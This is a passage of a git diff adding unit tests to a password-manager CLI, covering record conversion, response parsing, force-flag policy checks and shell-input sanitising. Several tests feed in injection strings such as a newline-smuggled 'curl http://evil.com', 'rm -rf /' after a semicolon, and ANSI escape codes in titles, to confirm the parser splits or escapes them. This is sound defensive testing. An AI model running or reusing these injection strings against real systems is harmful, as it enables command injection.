self.assertEqual(response[0]['status'], 'error') self.assertIn('Not permitted', response[0]['error']) + @mock.patch.object(ConfigReader, 'read_config', return_value='nsf-convert') + def test_policy_check_requires_force_for_nsf_conversion(self, _mock_read_config): + endpoint = lambda *args, **kwargs: ({'status': 'success'}, 200) + headers = {'api-key': 'test_key'} + + with self.app.test_request_context( + '/test', method='POST', json={'command': 'nsf-convert RECORD_UID'}, + headers=headers): + response = policy_check(endpoint)() + self.assertEqual(response[1], 400) + self.assertIn('-f/--force', response[0]['error']) + + with self.app.test_request_context( + '/test', method='POST', + json={'command': 'nsf-convert RECORD_UID --force'}, headers=headers): + response = policy_check(endpoint)() + self.assertEqual(response[1], 200) + self.assertEqual(response[0]['status'], 'success') + + @mock.patch.object(ConfigReader, 'read_config', return_value='nsf-convert') + def test_policy_check_does_not_treat_force_in_quoted_title_as_flag(self, _mock_read_config): + with self.app.test_request_context( + '/test', method='POST', + json={'command': 'nsf-convert "my --force record"'}, + headers={'api-key': 'test_key'}): + response = policy_check(lambda *args, **kwargs: ({'status': 'success'}, 200))() + + self.assertEqual(response[1], 400) + self.assertIn('-f/--force', response[0]['error']) + @mock.patch.object(ConfigReader, 'read_config') def test_policy_check_allows_pam_tunnel_start_at_http_layer(self, mock_read_config): - """Tunnel ban is enforced in CommandExecutor, not policy_check split(' ').""" + """PAM tunnel restrictions are enforced by the command executor.""" mock_read_config.return_value = "pam" with self.app.test_request_context( diff --git a/unit-tests/service/test_response_parser.py b/unit-tests/service/test_response_parser.py index b98a0e6b3..086fdfbcd 100644 --- a/unit-tests/service/test_response_parser.py +++ b/unit-tests/service/test_response_parser.py @@ -127,6 +127,101 @@ def test_tree_format_json_uses_native_json_parser(self): self.assertEqual(result['data']['tree']['kind'], 'folder') self.assertNotIn('level', result['data']['tree']) + def test_nsf_convert_permanent_notice_does_not_fail_successful_command(self): + command = 'nsf-convert record_uid --force' + output = ( + 'Warning: Conversion is permanent; Classic folder membership is not retained.\n' + 'Record: Example Login (record_uid)\n' + 'Destination: Vault (root)' + ) + + result = KeeperResponseParser.parse_response(command, output) + self.assertEqual(result['status'], 'success') + self.assertNotIn('status_code', result) + self.assertEqual(result['message'], output.splitlines()) + + def test_nsf_convert_permanent_notice_from_logs_does_not_fail(self): + output = ( + 'Warning: Conversion is permanent; Classic folder membership is not retained.\n' + 'Destination: Vault (root)' + ) + + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid --force', '', log_output=output + ) + + self.assertEqual(result['status'], 'success') + self.assertEqual(result['message'], output.splitlines()) + + def test_nsf_convert_does_not_ignore_errors_in_logs(self): + output = 'Warning: Conversion is permanent.' + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid --force', + output, + log_output='Conversion failed: Invalid owner key.', + ) + + self.assertEqual(result['status'], 'error') + self.assertEqual(result['status_code'], 400) + + def test_nsf_convert_success_in_logs_is_http_success(self): + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid --force', + 'Warning: Conversion is permanent.\nDestination: Vault (root)', + log_output=( + 'Classic record "record_uid" converted to a Nested Share Record.\n' + 'Conversion complete: 1 of 1 Classic record(s) converted.' + ), + ) + + self.assertEqual(result['status'], 'success') + self.assertNotIn('status_code', result) + + def test_nsf_convert_backend_failures_keep_failure_status(self): + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid --force', + 'Warning: Conversion is permanent.', + log_output=( + 'Classic record "record_uid" was not converted: ' + 'The caller does not own this record.' + ), + ) + + self.assertEqual(result['status'], 'warning') + self.assertEqual(result['status_code'], 400) + + def test_nsf_convert_mixed_results_are_partial_success(self): + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid_1 record_uid_2 --force', + 'Warning: Conversion is permanent.', + log_output=( + 'Classic record "record_uid_1" converted to a Nested Share Record.\n' + 'Classic record "record_uid_2" was not converted: ' + 'The caller does not own this record.' + ), + ) + + self.assertEqual(result['status'], 'partial_success') + self.assertEqual(result['status_code'], 207) + + def test_nsf_convert_other_warnings_remain_warnings(self): + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid --force', + 'Warning: Conversion is permanent.\nWarning: Server reported a partial result.', + ) + + self.assertEqual(result['status'], 'warning') + self.assertEqual(result['status_code'], 400) + + def test_nsf_convert_errors_are_not_hidden_by_permanent_notice(self): + result = KeeperResponseParser.parse_response( + 'nsf-convert record_uid --force', + 'Warning: Conversion is permanent. Conversion failed: Invalid owner key.', + ) + + self.assertEqual(result['status'], 'error') + self.assertEqual(result['status_code'], 400) + def test_parse_mkdir_command(self): """Test parsing of 'mkdir' command output""" @@ -180,4 +275,4 @@ def test_parse_get_command(self): self.assertEqual(result['data']['title'], 'Test Record') self.assertEqual(result['data']['username'], 'testuser') self.assertEqual(result['data']['password'], 'testpass') - self.assertEqual(result['data']['url'], 'https://example.com') \ No newline at end of file + self.assertEqual(result['data']['url'], 'https://example.com') diff --git a/unit-tests/service/test_verified_command.py b/unit-tests/service/test_verified_command.py index 7d95a787d..2615b7adb 100644 --- a/unit-tests/service/test_verified_command.py +++ b/unit-tests/service/test_verified_command.py @@ -59,6 +59,21 @@ def test_pam_tunnel_bypass_vectors_normalized(self): err = Verifycommand.validate_service_mode_restrictions(_tokens(raw)) self.assertIsNotNone(err, msg=f'should block: {raw!r} -> {_tokens(raw)}') + def test_nsf_convert_requires_force_in_service_mode(self): + check = Verifycommand.validate_service_mode_restrictions + self.assertIn( + 'requires -f/--force', + check(_tokens('nsf-convert RECORD_UID')), + ) + self.assertIsNone(check(_tokens('nsf-convert RECORD_UID --force'))) + self.assertIsNone(check(_tokens('nsf-convert RECORD_UID -f'))) + self.assertIsNotNone(check(_tokens('nsf-convert -- RECORD_UID -f'))) + self.assertIn( + 'requires -f/--force', + Verifycommand.validate_nsf_convert_command( + _tokens('nsf-convert -- RECORD_UID -f')), + ) + def test_attachment_commands_blocked_for_remote_api(self): check = Verifycommand.validate_service_mode_restrictions self.assertIsNotNone(check(_tokens('download-attachment SOME_UID'))) diff --git a/unit-tests/test_classic_to_nsf_conversion.py b/unit-tests/test_classic_to_nsf_conversion.py new file mode 100644 index 000000000..3bd640757 --- /dev/null +++ b/unit-tests/test_classic_to_nsf_conversion.py @@ -0,0 +1,461 @@ +"""Tests for Classic-to-Nested-Share conversion request construction.""" + +from contextlib import redirect_stdout +from io import StringIO +from types import SimpleNamespace +from unittest import TestCase +from unittest.mock import patch + +from keepercommander import crypto, utils +from keepercommander.commands.nested_share_folder import NestedShareConvertCommand +from keepercommander.nested_share_folder.conversion_api import ( + build_convert_records_request, + convert_records_v3, +) +from keepercommander.error import CommandError +from keepercommander.proto import keeperdrive_convert_pb2 +from keepercommander.subfolder import RootFolderNode, UserFolderNode + + +def _uid(): + return utils.generate_uid() + + +class TestClassicToNsfConversionApi(TestCase): + + def setUp(self): + self.record_uid = _uid() + self.record_key = utils.generate_aes_key() + self.data_key = utils.generate_aes_key() + self.params = SimpleNamespace( + data_key=self.data_key, + record_cache={ + self.record_uid: {'record_key_unencrypted': self.record_key}, + }, + nested_share_folders={}, + subfolder_cache={}, + folder_cache={}, + ) + + def test_build_request_uses_empty_uid_and_data_key_for_root(self): + request = build_convert_records_request(self.params, [self.record_uid]) + + self.assertEqual(len(request.records), 1) + item = request.records[0] + self.assertEqual(item.record_uid, utils.base64_url_decode(self.record_uid)) + self.assertEqual(item.folder_uid, b'') + self.assertEqual(len(item.record_key_encrypted_by_folder_key), 60) + self.assertEqual(len(item.record_key_encrypted_by_owner_key), 60) + self.assertEqual( + crypto.decrypt_aes_v2(item.record_key_encrypted_by_folder_key, self.data_key), + self.record_key) + self.assertEqual( + crypto.decrypt_aes_v2(item.record_key_encrypted_by_owner_key, self.data_key), + self.record_key) + + def test_build_request_uses_target_drive_folder_key(self): + folder_uid = _uid() + folder_key = utils.generate_aes_key() + self.params.nested_share_folders[folder_uid] = { + 'name': 'Destination', + 'folder_key_unencrypted': folder_key, + } + + request = build_convert_records_request( + self.params, [self.record_uid], folder_uid=folder_uid) + + item = request.records[0] + self.assertEqual(item.folder_uid, utils.base64_url_decode(folder_uid)) + self.assertEqual( + crypto.decrypt_aes_v2(item.record_key_encrypted_by_folder_key, folder_key), + self.record_key) + self.assertEqual( + crypto.decrypt_aes_v2(item.record_key_encrypted_by_owner_key, self.data_key), + self.record_key) + + def test_build_request_rejects_duplicate_records(self): + with self.assertRaisesRegex(ValueError, 'Duplicate'): + build_convert_records_request( + self.params, [self.record_uid, self.record_uid]) + + def test_build_request_rejects_noncanonical_record_uid(self): + alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_' + last_value = alphabet.index(self.record_uid[-1]) + alias_uid = self.record_uid[:-1] + alphabet[last_value | 1] + + self.assertEqual( + utils.base64_url_decode(alias_uid), + utils.base64_url_decode(self.record_uid)) + with self.assertRaisesRegex(ValueError, 'canonical Keeper UID encoding'): + build_convert_records_request(self.params, [alias_uid]) + + def test_build_request_rejects_nested_share_record(self): + self.params.nested_share_records = { + self.record_uid: {'record_key_unencrypted': self.record_key} + } + + with self.assertRaisesRegex(ValueError, 'already a Nested Share Record'): + build_convert_records_request(self.params, [self.record_uid]) + + def test_build_request_rejects_cached_nested_share_record(self): + self.params.record_cache[self.record_uid]['source'] = 'nested_share_folder' + + with self.assertRaisesRegex(ValueError, 'already a Nested Share Record'): + build_convert_records_request(self.params, [self.record_uid]) + + def test_build_request_rejects_record_missing_from_classic_cache(self): + self.params.record_cache.clear() + + with self.assertRaisesRegex(ValueError, 'Classic record .* was not found'): + build_convert_records_request(self.params, [self.record_uid]) + + def test_build_request_rejects_known_non_owner(self): + self.params.record_owner_cache = { + self.record_uid: SimpleNamespace(owner=False) + } + + with self.assertRaisesRegex(ValueError, 'not owned by the caller'): + build_convert_records_request(self.params, [self.record_uid]) + + def test_build_request_allows_unknown_owner_for_server_validation(self): + request = build_convert_records_request(self.params, [self.record_uid]) + self.assertEqual(len(request.records), 1) + + def test_build_request_rejects_oversized_batch(self): + with self.assertRaisesRegex(ValueError, 'at most 100'): + build_convert_records_request(self.params, [_uid() for _ in range(101)]) + + def test_build_request_rejects_malformed_record_uid(self): + with self.assertRaisesRegex(ValueError, 'valid Keeper UID'): + build_convert_records_request(self.params, ['not-a-uid']) + + def test_build_request_rejects_missing_record_key(self): + self.params.record_cache[self.record_uid].pop('record_key_unencrypted') + with self.assertRaisesRegex(ValueError, 'Record key not found'): + build_convert_records_request(self.params, [self.record_uid]) + + def test_build_request_rejects_invalid_owner_key_length(self): + self.params.data_key = b'x' * 16 + with self.assertRaisesRegex(ValueError, 'User data key must be a 32-byte key'): + build_convert_records_request(self.params, [self.record_uid]) + + def test_build_request_rejects_invalid_folder_key_length(self): + folder_uid = _uid() + self.params.nested_share_folders[folder_uid] = { + 'folder_key_unencrypted': b'x' * 16, + } + with self.assertRaisesRegex(ValueError, 'Destination folder key must be a 32-byte key'): + build_convert_records_request( + self.params, [self.record_uid], folder_uid=folder_uid) + + def test_build_request_rejects_non_drive_target(self): + folder_uid = _uid() + self.params.subfolder_cache[folder_uid] = { + 'folder_key_unencrypted': utils.generate_aes_key(), + } + with self.assertRaisesRegex(ValueError, 'not a Nested Share Folder'): + build_convert_records_request( + self.params, [self.record_uid], folder_uid=folder_uid) + + def test_build_request_rejects_malformed_folder_uid(self): + folder_uid = 'not-a-uid' + self.params.nested_share_folders[folder_uid] = { + 'folder_key_unencrypted': utils.generate_aes_key(), + } + + with self.assertRaisesRegex(ValueError, 'valid Keeper UID'): + build_convert_records_request( + self.params, [self.record_uid], folder_uid=folder_uid) + + def test_convert_results_are_decoded(self): + response = keeperdrive_convert_pb2.ConvertRecordResponse() + result = response.results.add() + result.record_uid = utils.base64_url_decode(self.record_uid) + result.status = keeperdrive_convert_pb2.OK + + with patch( + 'keepercommander.nested_share_folder.conversion_api.api.communicate_rest', + return_value=response) as communicate: + results = convert_records_v3(self.params, [self.record_uid]) + + communicate.assert_called_once() + self.assertEqual(results, [{ + 'record_uid': self.record_uid, + 'status': 'OK', + 'success': True, + }]) + + +class TestClassicToNsfConversionCommand(TestCase): + + def setUp(self): + self.record_uid = _uid() + self.params = SimpleNamespace( + record_cache={ + self.record_uid: {'data_unencrypted': '{"title":"Legacy"}'}, + }, + nested_share_records={}, + nested_share_folders={}, + sync_data=False, + ) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_omitted_folder_targets_root_and_refreshes_after_success(self, mock_convert): + mock_convert.return_value = [{ + 'record_uid': self.record_uid, 'status': 'OK', 'success': True, + }] + command = NestedShareConvertCommand() + + output = StringIO() + with redirect_stdout(output): + results = command.execute( + self.params, records=[self.record_uid], folder_uid=None, force=True) + + mock_convert.assert_called_once_with( + self.params, record_uids=[self.record_uid], folder_uid=None) + self.assertTrue(self.params.sync_data) + self.assertIsNone(results) + self.assertIn('Warning:', output.getvalue()) + self.assertIn('Classic shared-folder membership', output.getvalue()) + self.assertIn(f'"Legacy" ({self.record_uid})', output.getvalue()) + self.assertIn(self.record_uid, output.getvalue()) + self.assertIn('Destination: Vault (root)', output.getvalue()) + self.assertNotIn('server support', output.getvalue()) + + @patch('keepercommander.commands.pam_import.nsf_helpers.sync_down_preserving_nsf_keys') + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_service_mode_syncs_after_success(self, mock_convert, mock_sync): + mock_convert.return_value = [{ + 'record_uid': self.record_uid, 'status': 'OK', 'success': True, + }] + self.params.service_mode = True + output = StringIO() + + with redirect_stdout(output): + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=True) + + mock_sync.assert_called_once_with(self.params) + self.assertFalse(self.params.sync_data) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_classic_folder_is_not_accepted_as_drive_destination(self, mock_convert): + folder_uid = _uid() + self.params.folder_cache = {folder_uid: object()} + self.params.subfolder_cache = {} + + with self.assertRaisesRegex(CommandError, 'not a Nested Share Folder'): + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], + folder_uid=folder_uid, force=True) + mock_convert.assert_not_called() + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_bare_title_does_not_match_outside_current_folder(self, mock_convert): + record_uid = self.record_uid + self.params.record_cache[record_uid]['data_unencrypted'] = '{"title":"Server Login"}' + + prod_folder = UserFolderNode() + prod_folder.uid = 'prod' + prod_folder.name = 'Prod' + dev_folder = UserFolderNode() + dev_folder.uid = 'dev' + dev_folder.name = 'Dev' + root_folder = RootFolderNode() + root_folder.subfolders = ['prod', 'dev'] + self.params.folder_cache = {'prod': prod_folder, 'dev': dev_folder} + self.params.root_folder = root_folder + self.params.current_folder = 'prod' + self.params.subfolder_record_cache = { + 'prod': set(), + 'dev': {record_uid}, + } + + with self.assertRaisesRegex(CommandError, 'Record .* was not found'): + NestedShareConvertCommand().execute( + self.params, records=['Server Login'], folder_uid=None, force=True) + + mock_convert.assert_not_called() + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.resolve_folder_identifier', + return_value=None) + def test_command_rejects_unresolved_folder(self, _mock_resolve_folder, mock_convert): + with self.assertRaisesRegex(CommandError, "Folder 'Missing' was not found"): + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid='Missing', force=True) + + mock_convert.assert_not_called() + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_command_rejects_known_nested_share_record(self, mock_convert): + self.params.nested_share_records[self.record_uid] = {} + + with self.assertLogs(level='INFO') as captured: + result = NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=True) + + self.assertIsNone(result) + self.assertIn('already a Nested Share Record; skipped', '\n'.join(captured.output)) + self.assertIn('No Classic records remain to convert.', '\n'.join(captured.output)) + mock_convert.assert_not_called() + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_known_nested_share_records_are_skipped_from_mixed_batch(self, mock_convert): + other_uid = _uid() + self.params.record_cache[other_uid] = {'data_unencrypted': '{"title":"Other"}'} + self.params.nested_share_records[self.record_uid] = {} + mock_convert.return_value = [{ + 'record_uid': other_uid, 'status': 'OK', 'success': True, + }] + + with self.assertLogs(level='INFO') as captured: + NestedShareConvertCommand().execute( + self.params, + records=[self.record_uid, other_uid], + folder_uid=None, + force=True, + ) + + mock_convert.assert_called_once_with( + self.params, record_uids=[other_uid], folder_uid=None) + logs = '\n'.join(captured.output) + self.assertIn('already a Nested Share Record; skipped', logs) + self.assertIn('1 already Nested Share Record(s) skipped', logs) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + @patch('keepercommander.commands.nested_share_folder.conversion_commands.RecordMixin.resolve_single_record') + def test_bare_title_uses_standard_record_resolution(self, mock_resolve_record, mock_convert): + other_uid = _uid() + self.params.record_cache[other_uid] = {'data_unencrypted': '{"title":"Legacy"}'} + mock_resolve_record.return_value = SimpleNamespace(record_uid=other_uid) + mock_convert.return_value = [{ + 'record_uid': other_uid, 'status': 'OK', 'success': True, + }] + + with self.assertLogs(level='INFO'): + NestedShareConvertCommand().execute( + self.params, records=['Legacy'], folder_uid=None, force=True) + + mock_resolve_record.assert_called_once_with(self.params, 'Legacy') + mock_convert.assert_called_once_with( + self.params, record_uids=[other_uid], folder_uid=None) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + @patch('keepercommander.commands.nested_share_folder.conversion_commands.user_choice', + return_value='n') + def test_confirmation_escapes_control_characters_in_title(self, _mock_choice, mock_convert): + self.params.record_cache[self.record_uid]['data_unencrypted'] = ( + '{"title":"Legacy café\\n\\u001b[31mInjected"}') + output = StringIO() + + with redirect_stdout(output): + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=False) + + record_list = output.getvalue().split('Records to convert', 1)[1].split('Destination:', 1)[0] + self.assertNotIn('\x1b', record_list) + self.assertIn(r'"Legacy café\n\u001b[31mInjected"', record_list) + self.assertNotIn(r'\\u000a', record_list) + self.assertNotIn(r'\\u001b', record_list) + mock_convert.assert_not_called() + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3', + return_value=[]) + def test_empty_response_requests_sync_to_reconcile_state(self, _mock_convert): + with self.assertLogs(level='WARNING'): + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=True) + + self.assertTrue(self.params.sync_data) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + @patch('keepercommander.commands.nested_share_folder.conversion_commands.user_choice', + return_value='n') + def test_cancelled_confirmation_does_not_call_endpoint(self, _mock_choice, mock_convert): + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=False) + mock_convert.assert_not_called() + self.assertFalse(self.params.sync_data) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_command_matches_unordered_results_by_uid(self, mock_convert): + other_uid = _uid() + self.params.record_cache[other_uid] = {'data_unencrypted': '{"title":"Other"}'} + mock_convert.return_value = [ + {'record_uid': other_uid, 'status': 'NOT_RECORD_OWNER', 'success': False}, + {'record_uid': self.record_uid, 'status': 'OK', 'success': True}, + ] + + with self.assertLogs(level='INFO') as captured: + result = NestedShareConvertCommand().execute( + self.params, + records=[self.record_uid, other_uid], + folder_uid=None, + force=True, + ) + + self.assertIsNone(result) + self.assertTrue(self.params.sync_data) + self.assertIn( + f'Classic record "{self.record_uid}" converted to a Nested Share Record.', + '\n'.join(captured.output)) + self.assertIn(f'Classic record "{other_uid}" was not converted:', + '\n'.join(captured.output)) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_duplicate_results_are_reported_as_ambiguous_and_refresh(self, mock_convert): + other_uid = _uid() + self.params.record_cache[other_uid] = {'data_unencrypted': '{"title":"Other"}'} + mock_convert.return_value = [ + {'record_uid': self.record_uid, 'status': 'OK', 'success': True}, + {'record_uid': self.record_uid, 'status': 'NOT_RECORD_OWNER', 'success': False}, + {'record_uid': other_uid, 'status': 'NOT_RECORD_OWNER', 'success': False}, + ] + + with self.assertLogs(level='INFO') as captured: + NestedShareConvertCommand().execute( + self.params, + records=[self.record_uid, other_uid], + folder_uid=None, + force=True, + ) + + self.assertTrue(self.params.sync_data) + logs = '\n'.join(captured.output) + self.assertIn('returned duplicate results', logs) + self.assertIn('result for Classic record', logs) + self.assertNotIn( + f'Classic record "{self.record_uid}" converted to a Nested Share Record.', logs) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_unrequested_results_trigger_reconciliation(self, mock_convert): + unrequested_uid = _uid() + mock_convert.return_value = [ + {'record_uid': self.record_uid, 'status': 'NOT_RECORD_OWNER', 'success': False}, + {'record_uid': unrequested_uid, 'status': 'OK', 'success': True}, + ] + + with self.assertLogs(level='WARNING') as captured: + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=True) + + self.assertTrue(self.params.sync_data) + self.assertIn('unrequested records', '\n'.join(captured.output)) + + @patch('keepercommander.commands.nested_share_folder.conversion_commands._nsf.convert_records_v3') + def test_backend_already_converted_status_is_reported(self, mock_convert): + mock_convert.return_value = [{ + 'record_uid': self.record_uid, + 'status': 'RECORD_ALREADY_CONVERTED', + 'success': False, + }] + + with self.assertLogs(level='WARNING') as captured: + NestedShareConvertCommand().execute( + self.params, records=[self.record_uid], folder_uid=None, force=True) + + self.assertIn( + 'was not converted: The record is already a Nested Share Record.', + '\n'.join(captured.output)) + self.assertFalse(self.params.sync_data) diff --git a/unit-tests/test_command_enterprise.py b/unit-tests/test_command_enterprise.py index 4b6b1a4d9..6f298135f 100644 --- a/unit-tests/test_command_enterprise.py +++ b/unit-tests/test_command_enterprise.py @@ -764,6 +764,97 @@ def test_audit_log_splunk_convert_event(self): } splunk.convert_event(props, self.get_audit_event()) + def test_audit_log_ownership_skips_non_owned_record(self): + """When both shared and owned records exist, only owned is selected.""" + from keepercommander.params import RecordOwner + + shared = mock.MagicMock(spec=vault.PasswordRecord) + shared.record_uid = 'SHARED_UID' + shared.title = 'Audit Log: Sumologic' + + owned = mock.MagicMock(spec=vault.PasswordRecord) + owned.record_uid = 'OWNED_UID' + owned.title = 'Audit Log: Sumologic' + + params = mock.MagicMock(spec=KeeperParams) + params.record_cache = {'SHARED_UID': {}, 'OWNED_UID': {}} + params.record_owner_cache = { + 'SHARED_UID': RecordOwner(False, 'attacker'), + 'OWNED_UID': RecordOwner(True, 'operator'), + } + params.meta_data_cache = {} + + with mock.patch('keepercommander.commands.aram.vault.KeeperRecord.load') as mock_load: + def load_side_effect(_params, uid): + return {'SHARED_UID': shared, 'OWNED_UID': owned}[uid] + mock_load.side_effect = load_side_effect + + record = None + record_name = 'Audit Log: Sumologic' + for r_uid in params.record_cache: + rec = mock_load(params, r_uid) + if record_name in [rec.record_uid, rec.title]: + if not aram._is_owned_audit_log_record(params, r_uid): + continue + record = rec + break + + self.assertEqual(record.record_uid, 'OWNED_UID') + + def test_audit_log_ownership_returns_none_when_only_shared(self): + """When only a shared record matches, none is returned.""" + from keepercommander.params import RecordOwner + + shared = mock.MagicMock(spec=vault.PasswordRecord) + shared.record_uid = 'SHARED_UID' + shared.title = 'Audit Log: Sumologic' + + params = mock.MagicMock(spec=KeeperParams) + params.record_cache = {'SHARED_UID': {}} + params.record_owner_cache = {'SHARED_UID': RecordOwner(False, 'attacker')} + params.meta_data_cache = {} + + with mock.patch('keepercommander.commands.aram.vault.KeeperRecord.load') as mock_load: + mock_load.return_value = shared + + record = None + record_name = 'Audit Log: Sumologic' + for r_uid in params.record_cache: + rec = mock_load(params, r_uid) + if record_name in [rec.record_uid, rec.title]: + if not aram._is_owned_audit_log_record(params, r_uid): + continue + record = rec + break + + self.assertIsNone(record) + + def test_audit_log_ownership_uses_meta_data_cache_fallback(self): + """Ownership check falls back to meta_data_cache if record_owner_cache missing.""" + from keepercommander.params import RecordOwner + + owned = mock.MagicMock(spec=vault.PasswordRecord) + owned.record_uid = 'OWNED_UID' + owned.title = 'Audit Log: Sumologic' + + params = mock.MagicMock(spec=KeeperParams) + params.record_cache = {'OWNED_UID': {}} + params.record_owner_cache = {} + params.meta_data_cache = {'OWNED_UID': {'owner': True}} + + result = aram._is_owned_audit_log_record(params, 'OWNED_UID') + self.assertTrue(result) + + def test_audit_log_ownership_fails_closed_on_unknown(self): + """Ownership check returns False when ownership is unknown.""" + params = mock.MagicMock(spec=KeeperParams) + params.record_cache = {} + params.record_owner_cache = {} + params.meta_data_cache = {} + + result = aram._is_owned_audit_log_record(params, 'UNKNOWN_UID') + self.assertFalse(result) + def test_audit_audit_report_parse_date_filter(self): cmd = aram.AuditReportCommand() diff --git a/unit-tests/test_connect_security.py b/unit-tests/test_connect_security.py index 8a1d2c4ac..b8c50842c 100644 --- a/unit-tests/test_connect_security.py +++ b/unit-tests/test_connect_security.py @@ -100,14 +100,82 @@ def test_quoted_semicolons_are_not_separators(self): ['echo "a; b"', 'rm -rf /'], ) + def test_newline_injection_via_comment_apostrophe(self): + # Vulnerability: apostrophe in comment should not enter quote state + # and should not swallow the newline + script = "echo ok # TODO: don't forget to\ncurl http://evil.com" + stmts = cp.split_shell_statements(script) + self.assertEqual(len(stmts), 2, f"Expected 2 statements, got {len(stmts)}: {stmts}") + self.assertIn('echo ok', stmts[0]) + self.assertIn('curl http://evil.com', stmts[1]) + + def test_comment_blocks_rest_of_line(self): + # Comment should block everything until newline + stmts = cp.split_shell_statements('echo a # ; ; ;\necho b') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo a') + self.assertEqual(stmts[1], 'echo b') + + def test_quoted_hash_is_not_comment(self): + # Hash inside quotes is not a comment + stmts = cp.split_shell_statements('echo "#"; rm -rf /') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo "#"') + + def test_hash_inside_unquoted_word_is_not_a_comment(self): + # # is only a comment at word boundary (start of line or after whitespace) + # Not in the middle of a word like "safe#" + script = 'echo safe# > /tmp/output; echo next' + stmts = cp.split_shell_statements(script) + self.assertEqual(len(stmts), 2, f"Expected 2 statements, got {len(stmts)}: {stmts}") + self.assertEqual(stmts[0], 'echo safe# > /tmp/output') + self.assertEqual(stmts[1], 'echo next') + + def test_hash_after_whitespace_starts_comment(self): + # # after whitespace is a comment + stmts = cp.split_shell_statements('echo safe # this is a comment\necho next') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo safe') + self.assertEqual(stmts[1], 'echo next') + + def test_hash_at_line_start_starts_comment(self): + # # at start of line is a comment + stmts = cp.split_shell_statements('echo a\n# comment\necho b') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo a') + self.assertEqual(stmts[1], 'echo b') + class TestRecordTextIsSanitized(unittest.TestCase): - def test_ansi_escape_in_record_title_is_stripped(self): + def test_ansi_escape_in_record_title_is_escaped(self): evil = 'Connect\x1b[2J\x1b[H' - self.assertEqual(cp._sanitize(evil), 'Connect[2J[H') - - def test_other_controls_are_stripped(self): - self.assertEqual(cp._sanitize('a\x00b\x07c\x7fd'), 'abcd') + # ESC (0x1b) should be escaped, not deleted + sanitized = cp._sanitize(evil) + self.assertIn('\\x1b', sanitized) + self.assertNotIn('\x1b', sanitized) + + def test_control_chars_are_escaped(self): + # Control chars should be escaped, not deleted + result = cp._sanitize('a\x00b\x07c\x7fd') + # 0x00 (null), 0x07 (bell), 0x7f (del) should be escaped + self.assertIn('\\x', result) + # But the original characters should be gone + self.assertNotIn('\x00', result) + self.assertNotIn('\x07', result) + self.assertNotIn('\x7f', result) + + def test_newline_is_escaped_not_deleted(self): + # Critical: newline should be visible, not deleted + result = cp._sanitize('echo backup\ncurl http://evil') + self.assertEqual(result, 'echo backup\\ncurl http://evil') + + def test_tab_is_escaped(self): + result = cp._sanitize('a\tb') + self.assertEqual(result, 'a\\tb') + + def test_carriage_return_is_escaped(self): + result = cp._sanitize('a\rb') + self.assertEqual(result, 'a\\rb') if __name__ == '__main__': diff --git a/unit-tests/test_nested_share_folder.py b/unit-tests/test_nested_share_folder.py index 7eed51d12..20ab55ff0 100644 --- a/unit-tests/test_nested_share_folder.py +++ b/unit-tests/test_nested_share_folder.py @@ -1725,8 +1725,7 @@ def test_revoke_folder_access_subfolder_team( self.assertTrue(result['success']) self.assertTrue(params.sync_data) - mock_update_folder.assert_called_once_with( - params, child_uid, inherit_permissions=False) + mock_update_folder.assert_not_called() mock_access_update.assert_called_once() remove_call = mock_access_update.call_args ad = remove_call.kwargs['folder_access_removes'][0] @@ -1781,12 +1780,11 @@ def test_revoke_folder_access_subfolder_team_inherited( params, child_uid, team_uid, as_team=True) self.assertTrue(result['success']) - mock_update_folder.assert_called_once_with( - params, child_uid, inherit_permissions=False) + mock_update_folder.assert_not_called() mock_access_update.assert_called_once() self.assertEqual( params.nested_share_folders[child_uid]['inherit_user_permissions'], - folder_pb2.BOOLEAN_FALSE) + folder_pb2.BOOLEAN_TRUE) @patch('keepercommander.nested_share_folder.folder_api.revoke_folder_access_v3') @patch('keepercommander.api.get_share_objects') diff --git a/unit-tests/test_nsf_import.py b/unit-tests/test_nsf_import.py index b16f013dd..eff2e47eb 100644 --- a/unit-tests/test_nsf_import.py +++ b/unit-tests/test_nsf_import.py @@ -3,8 +3,9 @@ import tempfile from unittest import TestCase, mock +from keepercommander.commands.base import ParseError from keepercommander.error import KeeperApiError -from keepercommander.importer import nsf_import +from keepercommander.importer import imp_exp, nsf_import from keepercommander.importer.commands import 